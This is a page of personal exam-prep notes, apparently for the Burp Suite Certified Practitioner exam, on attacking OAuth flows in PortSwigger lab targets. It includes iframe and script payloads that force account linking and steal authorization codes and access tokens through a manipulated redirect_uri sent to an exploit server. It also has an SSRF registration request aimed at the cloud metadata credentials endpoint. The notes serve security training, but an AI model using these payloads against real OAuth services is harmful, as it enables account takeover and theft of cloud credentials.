bscp notes
  • Resources
  • Exam Hints/Tips
  • Burp dynamic header in Intruder
  • Methodology
  • Payloads
  • Stage 1
    • XSS
    • Information disclosure
    • DOM-based
    • Web Cache Poison
    • Host Headers
    • HTTP Req Smuggling
    • Authentication
  • Stage 2
    • oAuth
    • CSRF
    • Password Reset
    • SQLi
      • SQLi Cheat Sheet
    • JWT
    • Prototype Pollution
    • API Testing - TODO
    • Access Control
    • CORS
  • DATA EXFILTRATION
    • XXE Injections
    • SSRF
    • SSTI
    • Path Traversal
    • File Upload
    • Insecure Desarialization
    • OS Cmd Injection
  • graphql api vulns
  • no sql
  • web cache deception
  • clickjacking
  • websockets
  • web cache deception
Powered by GitBook
On this page
  • General
  • Stole linking code and access other user
  • Redirect URI
  • Redirect URI with protection (directory traversal)
  1. Stage 2

oAuth

General

OAuth 2.0 was originally developed as a way of sharing access to specific data between applications. It works by defining a series of interactions between three distinct parties, namely a client application, a resource owner, and the OAuth service provider.

  • Client application - The website or web application that wants to access the user's data.

  • Resource owner - The user whose data the client application wants to access.

  • OAuth service provider - The website or application that controls the user's data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server.

Once you know the hostname of the authorization server, you should always try sending a GET request to the following standard endpoints:

  • /.well-known/oauth-authorization-server

  • /.well-known/openid-configuration

Stole linking code and access other user

if you notice that the authorization request does not send a state parameter, this is extremely interesting from an attacker's perspective. It potentially means that they can initiate an OAuth flow themselves before tricking a user's browser into completing it

  1. Generate profile linking with your account

  2. Get linking code

  3. Drop request

  4. Send iFrame to victim

<iframe src="https://TARGET.net/oauth-linking?code=my-own-code></iframe>

6eqJiIz7ZvqtCHCJVxqLW-ZIGSP0upxVDq_Cd_ahKQO
  1. Login with your social account

  2. PRIV ESCALATION COMPLETE

Redirect URI

Change the redirect_uri to point to the exploit server, then send the request and follow the redirect.


<iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE

Redirect URI with protection (directory traversal)

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Victim access token will appear in the access log

In Repeater, go to the GET /me request and replace the token in the Authorization: Bearer header with the one you just copied

Unprotected dynamic client registration

Register new client

  1. Get new client ID

POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206

{
"redirect_uris":["https://example.com"],
    "logo_uri" : "https://OASTIFY.COM",
	"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
	
}  
  1. In Repeater, go to the GET /client/CLIENT-ID/logo request. Replace the CLIENT-ID in the path with the new one you just copied and send the request.

  2. Go to the Collaborator tab dialog and check for any new interactions. Notice that there is an HTTP interaction attempting to fetch your non-existent logo. This confirms that you can successfully use the logo_uri property to elicit requests from the OAuth server.

  3. Add logo URI to the not accesable url of webapp credential

  4. Go back to the GET /client/CLIENT-ID/logo request and replace the client_id with the new one you just copied. Send this request. Observe that the response contains the sensitive metadata for the OAuth provider's cloud environment, including the secret access key.

PreviousAuthenticationNextCSRF

Last updated 8 months ago